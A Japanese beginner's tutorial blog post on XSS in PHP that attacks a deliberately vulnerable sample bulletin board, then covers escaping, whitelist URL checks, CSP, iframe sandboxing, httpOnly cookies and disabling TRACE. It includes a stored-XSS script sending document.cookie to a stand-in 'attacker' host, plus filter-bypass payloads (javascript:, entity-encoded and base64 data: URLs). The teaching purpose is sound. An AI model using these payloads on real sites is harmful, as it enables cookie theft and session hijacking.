スクリプトインジェクション入門

# はじめに

今回の記事は PHP を想定しています。
PHP は WEB サイトで最も使われていて、初心者がとっつきやすく、セキュリティーホールのあるシステムを最も多く生み出し続けている言語ですよね(￣▽￣；)
そこで WEB プログラミングの初心者の方をターゲットに、出来るかぎり分かりやすく書いてみます。
というのは建前で、今週末にある PHP セキュリティのお勉強会の予習です。
記事の内容を他人の公開サーバーで試すと犯罪になる場合もあるので注意してね。

```text:個人的意見ですが・・・
セキュリティを確保するにはシステムのアップデートが欠かせませんが、PHP は後方互換性に乏しく、バージョンアップが高コストなため、問題のあるバージョンのまま放置されたシステムになりやすく危険な言語だと思っています。
これは Ruby も同じで、私が言語を選べるなら、どちらも使いません。
堅い言語なら Java か C#(ASP.NET)、スクリプトなら Perl を選びます。
ちなみに、私が最近触ったサーバーは PHP 5.2.8 でした。
要するに PHP 爆発しろヽ(`Д´)ノ
```

# スクリプトインジェクションとは

JavaScript インジェクションともいいます。
WEB サーバーにスクリプトを含むリクエストを送信して、ページ内にスクリプトを挿入する攻撃の総称です。
脆弱性の中でも飛び抜けて難しくて、発生件数も一番多いと思います。
この用語には明確な定義や分類がないので、この記事では以下の位置付けで説明していきます。

![XSS-2.png](https://qiita-image-store.s3.amazonaws.com/0/52104/358f821a-0fbb-094a-830d-60588b8233ab.png)

|名前|説明|
|:-:|:--|
| `持続型` |攻撃者がスクリプトを含むリクエストを送信してサーバーに保存させます。保存されたスクリプトを組み込んだページを訪れた第三者にスクリプトを実行させる攻撃。<br>別名：Type-1、Persistent、Stored XSS|
| `反射型` |第三者にスクリプトを含むリクエストを送信させます。送信したスクリプトがページ内に差し込まれる脆弱性を利用して、リクエストを送信したページ上でスクリプトを実行させる攻撃。送信したスクリプトはサーバーに保存されません。<br>別名：Type-2、Non-Persistent、Reflected XSS|
| `DOMベース` |第三者にスクリプトを含むリクエストを送信させる攻撃ですが、反射型との違いは、クライアントサイドスクリプトの脆弱性を利用することです。<br>別名：Type-0、DOM Based XSS|

クロスサイトスクリプティング（以降 XSS）という名前が一番有名だと思うんですけど、XSS は広義な意味ではスクリプトインジェクションのことだったり、狭義な意味では反射型のことだったりします。
攻撃はクロスサイトとは限らないのにクロスサイトという名前を付けてしまったために、曖昧な言葉になっているのが現状のようです(´・ω・`)

ホームページと WEB サイトの誤用みたいな感じですよね。
ちなみに home page というのは和製英語なので、外国人には通用しないそうです。
Opera はスタートページっていう名前を使っているけど、これなら誤用が減りそうですね、いいセンスだ(ﾟ∀ﾟ)
Firefox さんは、ホームページとスタートページを混在させて、さらなるカオスを狙っているのでしょうか(；´д｀)

![2014-09-20_074504.png](https://qiita-image-store.s3.amazonaws.com/0/52104/f0899e5c-26c7-8f49-68a8-190258d5cedf.png)

脱線してごめんなさい。
とりあえず、この記事では XSS ＝ スクリプトインジェクションということにします。

攻撃の原理について、文章でアレコレ説明してもピンと来ないと思うんですけど、もっと詳しい説明が読みたい方は以下のサイトをどうぞ。

* [Wikipedia - Cross-site scripting (英語版)](http://en.wikipedia.org/wiki/Cross-site_scripting#Server-side_versus_DOM-based_vulnerabilities)
* [OWASP - Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)

Wikipedia の英語記事は、どこかのイケメンが翻訳案を提供してくれたのか、Chrome で日本語に翻訳すると日本語のページより詳しい内容を読めます。

# 攻撃方法を身につけようΨ( `▽´ )Ψ

セキュリティ対策を身につけるなら、犯罪の手口を検証することは欠かせませんよね。
現実空間なら、ドアの鍵の安全性を強化するには解錠の手口を知ることが大切ですし、施設警備では侵入者の視点で進入経路を考えて施錠したり警備を配置するでしょう。
フレームワークを使いこなして掲示板やブログを作れるようになっても、セキュリティについてきちんと身につけていない人は意外に多いと感じます。
はいはいパラメーターをページに表示するときはエスケープすればいいんでしょ～って思ったアナタ、だいたい合ってますｗ
でも、それだけじゃダメなんです。

# 掲示板を攻撃する

サンプルの超危険な掲示板を用意しました。
コメント掲載部分と、投稿フォームが同じページにある簡易の掲示板です。
投稿すると同じ URL に POST して投稿が反映されるので反射型の確認もできます。
ソースコードはこちらにあります(　´∀｀)つ [ __xss.php__ ](https://github.com/tomochan154/xss/blob/master/xss.php)

![2014-09-20_194326.png](https://qiita-image-store.s3.amazonaws.com/0/52104/fc440de8-445f-d930-fc15-26dba2fbe602.png)

|用途|name|タグ|
|:--|:--|:--|
|投稿者名|name|hidden|
|タイトル|title|text|
|リンク|url|text|
|コメント|text|textarea|

## ケース１. コメントにスクリプトを挿入する

```html:投稿コメント
こんにちわ！わたしトモチャン、よろしくね！(ﾟ∀ﾟ)ﾉ ｱﾋｬ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
```

```html+php:コメント表示部のPHP
<div class="text">
<?php echo $comment["text"]; ?>
</div>
```

```html:コメント表示部の実行結果
<div class="text">
こんにちわ！わたしトモチャン、よろしくね！(ﾟ∀ﾟ)ﾉ ｱﾋｬ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
</div>
```

投稿したコメントがサーバーに保存されて、コメント表示部に表示される有効なスクリプトとしてブラウザに解釈されます。
第三者がこの投稿を見るとスクリプトが実行されて、&lt;img&gt; タグの URL 経由でクッキーが攻撃者が用意したサーバーに送られます。
クッキーの中にセッション ID が入っていれば、攻撃者はセッションを乗っ取ることが出来ます。
スクリプトさえ動作してしまえは、あんなことやこんなことも出来ますから、パスワードの再設定を促すフォームを表示してフィッシングでパスワードを奪ったり、定期的に XHR をぐるぐる回して[田代砲（DoS 攻撃）](http://dic.nicovideo.jp/a/%E7%94%B0%E4%BB%A3%E7%A0%B2)の発射基地にしたり、アイデア次第で夢が広がりますね(ﾟ∀ﾟ)

でも、実際に試してみると、送信後に掲示板への書き込みが表示されたのに、スクリプトが動かない現象に遭遇した人もいるかもしれません。
最近のブラウザには XSS フィルターが搭載されているので、スクリプトを送信した際のレスポンスで表示されるページでは、XSS フィルターが攻撃を検知してスクリプトをブロックすることがあるんです(´・ω・`)
でも XSS フィルターが検出できる攻撃は反射型のみで、持続型には無力なので、書き込んだあとにもう一度同じページを開いてみると実行されるはずです。

__リクエスト直後の XSS フィルター__

|Internet<br>Explorer 11|Google<br>Chrome 37|Mozilla<br>Firefox 32|Opera 24|
|:-:|:-:|:-:|:-:|
|攻撃成功|コード除去|攻撃成功|コード除去|


### 入力をエスケープする

攻撃を防ぐには、[htmlspecialchars](http://php.net/manual/ja/function.htmlspecialchars.php) 関数でタグに使われる文字をエスケープします。

```html+php:コメントのエスケープ
<div class="text">
<?php echo htmlspecialchars($comment["text"], ENT_QUOTES, 'UTF-8'); ?>
</div>
```

htmlspecialchars 関数の第二引数以降は省略可能ですが、省略するとセキュリティ上よくないので実質的にすべて必須です。
PHP はバージョンによって既定値がコロコロ変わるので信用してはいけません。
第二引数にはいろいろなフラグが使えますが、ENT_QUOTES にしておくのが無難です。
第三引数の文字コードはバージョンによってデフォルト値が違いますし、将来バージョンアップで変わる可能性も否定出来ませんので明示的に指定しましょう。

## ケース２. リンクにスクリプトを挿入する

```html:送信するURL
#"><script>
alert('crack');
</script><a name="xss
```

```html+php:リンク表示部のPHP
<a href="<?php echo $comment['url']; ?>">リンク</a>
```

```html:リンク表示部の実行結果
<a href="#"><script>
alert('crack');
</script><a name="xss">リンク</a>
```

ケース１と同じように有効なスクリプトがページに挿入出来ました。
エスケープしていないとやりたい放題ですね。

__リクエスト直後の XSS フィルター__

|Internet<br>Explorer 11|Google<br>Chrome 37|Mozilla<br>Firefox 32|Opera 24|
|:-:|:-:|:-:|:-:|
|攻撃成功|コード除去|攻撃成功|コード除去|

### 入力をエスケープする

先ほどの要領でリンクの文字列をエスケープします。

```html+php:URLの表示部分
<a href="<?php echo htmlspecialchars($comment['url'], ENT_QUOTES, 'UTF-8'); ?>">リンク</a>
```

これで &lt;script&gt; タグはエスケープされますが、URL の中にはスクリプトを実行させる書き方があるので、これでは不十分です。
URL のスキームは __http:__ や __ftp:__ が有名ですが __javascript:__ も指定できます。
__javascript:__ に続けてスクリプトを記述すると、リンクをクリックしたときにスクリプトが実行されます。

```html:送信するURL
javascript:alert('crack')
```

```html:リンク表示部の実行結果
<a href="javascript:alert(&#039;crack&#039;)">リンク</a>
```

上記の例ではリンクをクリックすると crack と表示されます。
HTML タグの属性値に数値文字参照を指定しても、数値文字参照を解除してから解釈されるので、スクリプトは動くんですね。
URL を指定できる属性の XSS 対策はエスケープでは防げないことが分かります。

__リクエスト直後の XSS フィルター__

|Internet<br>Explorer 11|Google<br>Chrome 37|Mozilla<br>Firefox 32|Opera 24|
|:-:|:-:|:-:|:-:|
|攻撃成功|攻撃成功|攻撃成功|攻撃成功|

### 厳密に値を入力検査する

このような攻撃を防ぐにはエスケープだけではなく入力検査が必要です。
それでは __javascript:__ が含まれているURLをエラーとするメソッドで危険な URL を弾いてみます。

```php
function isUrl($url) {
  if (preg_match('/javascript:/', $url)){
    return false;
  }
  return true;
}
```

これで __javascript:__ で始まるパターンはブロックじました。
でも以下のようにスクリプトが実行可能な URL は色々あります。

```text:アタックA
// javascript:alert('crack') と同じ
&#106;avascript:alert('crack')
```

```text:アタックB
// <script>alert('crack')</script> を Base64 エンコードしたもの
data:text/html;base64,PHNjcmlwdD5hbGVydCgnY3JhY2snKTwvc2NyaXB0Pg==
```

__リクエスト直後の XSS フィルター__

||Internet<br>Explorer 11|Google<br>Chrome 37|Mozilla<br>Firefox 32|Opera 24|
|:-:|:-:|:-:|:-:|:-:|
|アタックA|攻撃成功|攻撃成功|攻撃成功|攻撃成功|
|アタックB|未対応？|攻撃成功|攻撃成功|攻撃成功|

このように危険な URL を排除するエラーチェックの方法では防ぎきれません。
発想を転換してリンクとして認める URL のパターンに一致するかどうかを調べるホワイトリスト方式がベストです。

以下は __http://__ または __https://__ で始まる URL かどうかを判定しています。

```php
function isUrl($url) {
  if (!preg_match('/\Ahttps?:\/\//', $url)) {
    return false;
  }
  return true;
}
```

このチェックにさらに filter_var 関数による URL チェックを入れても以下のような危険な URL が通ってしまうのでエスケープは必須です。

```text:ラベルにスクリプトタグを含んでいる
http://attacker/#"><script>alert('crack')</script><a name="xss
```

正規表現のチェックはアプリケーションの仕様に合わせて認める範囲を狭めつつ、見落としたときのためにエスケープも必ずやるようにしましょう。

## XSS 対策で共通する鉄の掟

### バイナリセーフではない関数を使わない

パラメーターに NULL バイト文字を混ぜる NULL バイト攻撃という手法があります。
文字列の中にある NULL バイト文字を文字列の終わりと見なすバイナリセーフでない関数の性質を利用して、入力チェックをすり抜けてるために使われる攻撃です。
ですから入力された値を扱うときは必ずバイナリセーフな関数のみを使用しましょう。
わりと新しいバージョンの PHP では対策が進んでいますけど、いまだにレンタルサーバーでは古い PHP が動いていますからね(；´д｀)
関数を使う前に必ずリファレンスで確認しましょう。

参考：[PHP TIPS - 23. 関数とバイナリセーフ：ITpro](http://itpro.nikkeibp.co.jp/article/COLUMN/20070402/267126/)

### インラインスクリプトにユーザーの入力を展開しない

以下のようなものがインラインスクリプトです。

```html:イベントハンドラのコード
<body onload="alert('crack');">
</body>
```

```html:scriptタグ内のコード
<script>
alert('crack');
</script>
```

```html:style属性内のコード
<div style="width:expression(alert('crack'));"></div>
<div style="behavior:url(http://attacker/crack.htc);"></div>
```

```html:styleタグ内のコード
<style>
body {
  background:url(javascript:alert('XSS'));
}
</style>
```

これらの指定場所には JavaScript や CSS のコメントブロックが使えたり記述の幅がとても広くて対策がややこしいので、このような場所にユーザーの入力を展開するのはやめましょう。
個人的には、一切のインラインスクリプト、インラインスタイルを使用しない方が無難です。
ちなみに現在の Chrome 拡張開発ではインラインスクリプトが完全に禁止されました。
最初はめんどくさいなーって思いましたが、セキュリティを考えると実行不可能になっているほうが安全ですし、使わないと出来ない処理はないので慣れれば平気です(`・ω・´)b

参考：[@IT -［柔軟すぎる］IEのCSS解釈で起こるXSS ](http://www.atmarkit.co.jp/ait/articles/0906/04/news111.html)

### 文字コードを指定する

入力をエスケープしてもレスポンスヘッダに適切な文字コードを指定しないと、文字化けを利用してスクリプトを混入させる隙を与えてしまいます。
php.ini の default_charset に文字コードを指定しておくと、自動的にレスポンスヘッダに文字コードを指定してくれますがオススメしません。
ガラケーサイト（Shift_JIS）を同居させることになるかもしれませんし、明示的に指定しておくのが無難だと思います。
ただしフレームワークを使用していて、そのフレームワークで定められたやり方がある場合はそのやり方に合わせた方がいいですね。

```php
header("Content-type: text/html; charset=UTF-8");
```

参考：[gihyo.jp - UTF-7によるクロスサイトスクリプティング攻撃](http://gihyo.jp/admin/serial/01/charcode/0001)

### 属性の値をダブルクオートで囲む

囲まなかった場合エスケープしてもイベントハンドラにスクリプトを挿入されてしまいます。
HTML の仕様ではシングルクオートも許されていますが、htmlspecialchars の既定の挙動ではシングルクオートがエスケープ対象になっていないので、使い方を間違えたときに少しだけ危険性が上がります。
このような理由から属性の値はダブルクオートで囲まなければ安全性が保てません。

## 積極的に予防する

### iframe でサンドボックス化する

HTML5 から追加されたサンドボックス機能を利用すると、ページ内の &lt;iframe&gt; だけスクリプトが実行されないようにすることが出来ます。
以下のように iframe に sandbox 属性を付けることでスクリプトの実行を禁止してフォーム送信だけを許可することができます。

```html
<iframe src="commentList.php?p=1" sandbox="allow-forms"></iframe>
```

sandbox 属性の値に何も指定しなければ、以下のフラグすべてが無効、つまり一番厳しい設定になります。
sandbox 属性に指定できるフラグは以下の通りです。

|フラグ|説明|
|:-:|:--|
|allow-scripts|サンドボックス化されたコンテンツは、JavaScript を実行できます。|
|allow-forms|サンドボックス化されたコンテンツはフォームを送信できます。|
|allow-same-origin|サンドボックス化されたコンテンツは、ローカル記憶域、Cookie、XMLHttpRequest、同じドメインでホストされるドキュメントなど、同一送信元ポリシーで保護された API にアクセスできます。|
|allow-top-navigation|サンドボックス化されたコンテンツは、トップ ウィンドウの場所を変更できます。|
|allow-popups|サンドボックス化されたコンテンツは、ポップアップ ウィンドウを開くことができます。|

参考：[Internet Explorer デベロッパー センター](http://msdn.microsoft.com/ja-JP/library/ie/hh673561.aspx)

サンドボックスは新しい機能なので最近のブラウザでなければサポートされていません。
使用中のブラウザで sandbox がサポートされているかどうかを調べるには以下のスクリプトを実行してみてください。

```js
if ("sandbox" in document.createElement("iframe")) {
  alert('sandbox supported');
}
```

### HTTP レスポンスヘッダでサンドボックス化する

iframe でサンドボックス化しても、反射型の XSS 攻撃でフレーム内のページに直接アクセスされたらスクリプトが実行されてしまいます。
そこで、もう一つサンドボックス化する方法が提供されています。

これも HTML5 からの新しい機能なので、少し古い IE などでは未対応だったりしますが、かなり強力な機能なので、次世代のセキュリティ対策における期待のエースだと思います。
__Content-Security-Policy__ というレスポンスヘッダを使って許可する動作やリソースをホワイトリスト方式で指定します。
ページ全体のリソースや動作についてホワイトリストで指定するのは、メンテ上もかなり大変だけど、セキュリティに関する理解度が低くても、このヘッダを指定することで、ほとんどの攻撃を防ぐことが出来ると思います。
便利なんですけど、手間が掛かりすぎるので IDE によるサポートが切実に欲しいです。
Visual Studio さんなんとかしてください＞＜

|フラグ|対象|説明|
|:-:|:-:|:--|
|default-src|全てのリソース|すべての種類のリソースを制限|
|script-src|スクリプト|実行を許可するスクリプトファイルの URL。<br>'unsafe-inline' でインラインスクリプト許可。<br>'unsafe-eval' で eval() メソッド許可。|
|object-src|プラグイン|実行を許可するプラグインファイルの URL。<br>&lt;object&gt;、&lt;embed&gt;、&lt;applet&gt;|
|img-src|画像|読み込みを許可する画像ファイルの URL。<br>&lt;img&gt;、CSS、favicon|
|media-src|メディアファイル|読み込みを許可するメディアファイルの URL。<br>&lt;audio&gt;、&lt;video&gt; |
|frame-src|フレームリソース|読み込みを許可する HTML ファイルの URL。<br>&lt;frame&gt;、&lt;iframe&gt;|
|font-src|WEB フォント|読み込みを許可する WEB フォントの URL。<br>@font-face|
|connect-src|リクエスト|送信を許可するサーバーの URL。<br>XMLHttpRequest、WebSocket、EventSource|
|style-src|スタイルシート|読み込みを許可するスタイルシートの URL。<br>'unsafe-inline' でインラインスタイル許可。|
|report-uri|CSP 違反報告|違反報告を送信するサーバーの URL。|


以下の例は、WEB メールサービスで、HTML メールの表示で画像は許可するけど、スクリプトは実行できないようにする場合の指定です。
３つのヘッダを指定していますが、まだブラウザによって実装がまちまちなので IE、Firefox、Chrome、Safari などなるべく多くのブラウザに対応するための記述です。
CSS でもよく使いますよね、アレと一緒です(；´д｀)

```text
Content-Security-Policy: default-src 'self' *.example.com; img-src *
X-Content-Security-Policy: default-src 'self' *.example.com; img-src *
X-WebKit-CSP: default-src 'self' *.example.com; img-src *
```

ブラウザのサポート状況は以下の通りです。

|ヘッダ|Internet<br>Explorer|Google<br>Chrome|Mozilla<br>Firefox|Safari|
|:--|:-:|:-:|:-:|:-:|
|Content-Security-Policy||25 以降|23 以降|7 以降|
|X-Content-Security-Policy|10 以降||4.0 以降||
|X-Webkit-CSP||14 以降||6 以降|

参考：[CSP Quick Reference Guide](http://content-security-policy.com/)

## 被害を軽減する

### スクリプトにクッキーを読ませないようにする

最初の例ではクッキーを盗み出していましたよね。
クッキーを盗まれるとセッションハイジャックされる可能性があるので、いっそのことクッキーを JavaScript から隠してしまいましょう。

```php
// 設定を変えて PHP から発行するクッキーすべてを JavaScript から隠す場合
ini_set('session.cookie_httponly', 1);
// クッキーごとに個別に設定する場合（一番後ろの引数）
setcookie("key", "value", 0, "/", null, FALSE, TRUE);
```

このようにクッキーに httpOnly 属性を付けることで、挿入された JavaScript から PHP で発行されたクッキーを取り出すことは出来なくなります。
依然として田代砲やフィッシングなど、アイデア次第でいくらでもイタズラ出来るので、対策としては弱いですが、やらないよりはマシかなと思います。

### TRACE メソッドを無効にする

httpOnly 属性でスクリプトから読めなくしたはずのクッキーを読み出す方法がまだあります。
HTTP のメソッドというと、GET / POST / HEAD くらいしか馴染みがありませんけど、TRACE っていうメソッドもあるんです。
TRACE は、リクエストヘッダをそのままレスポンスボディに格納して応答するやまびこみたいなメソッドです。
これをスクリプトから使われると、せっかくクッキーを読めないようにした意味がなくなってしまいますので、WEB サーバーの設定で TRACE メソッドは無効にしておきましょう。

```text:httpd.confの場合
TraceEnable Off
```

最近のブラウザでは TRACE メソッド対策がされているので、いま使用されているブラウザだと IE6 くらいしか実行できる環境は無いと思います。
私が最近作成したサイトのアクセスログでは IE6 の割合は ２％ でした。
もし TRACE メソッドを無効にせず、XSS 脆弱性があった場合には、この２％弱の利用者のクッキーは守り切れないことになります。
いまはもう TRACE を対策する必要無いっていう意見もあるけど、私はやるべきだと確信します。
ちなみに Flash や Java アプレットからも TRACE を送信出来ますよ。

# まとめ

XSS 攻撃の解説すら終らなかった＞＜
他にも攻撃方法はいろいろあるんですよね(；´д｀)
全部まとめて書くつもりだったんだけど時間切れです。

今回調査していて、Firefox には XSS フィルターがない気がしました。
１度もブロックできてないですしね。
NoScript とかのアドインを入れることが前提になっているのかなぁ。

# 参考資料

[Chromium Blog: Security in Depth: New Security Features](http://blog.chromium.org/2010/01/security-in-depth-new-security-features.html)
[IPA - 安全なウェブサイトの作り方](http://www.ipa.go.jp/security/vuln/websecurity.html)
[IPA セキュア・プログラミング講座：Webアプリケーション編](http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web.html)
[OWASP - DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
[php.net - Null bytes related issues](http://php.net/manual/ja/security.filesystem.nullbytes.php)
[MDN - CSP policy directives](https://developer.mozilla.org/ja/docs/Security/CSP/CSP_policy_directives)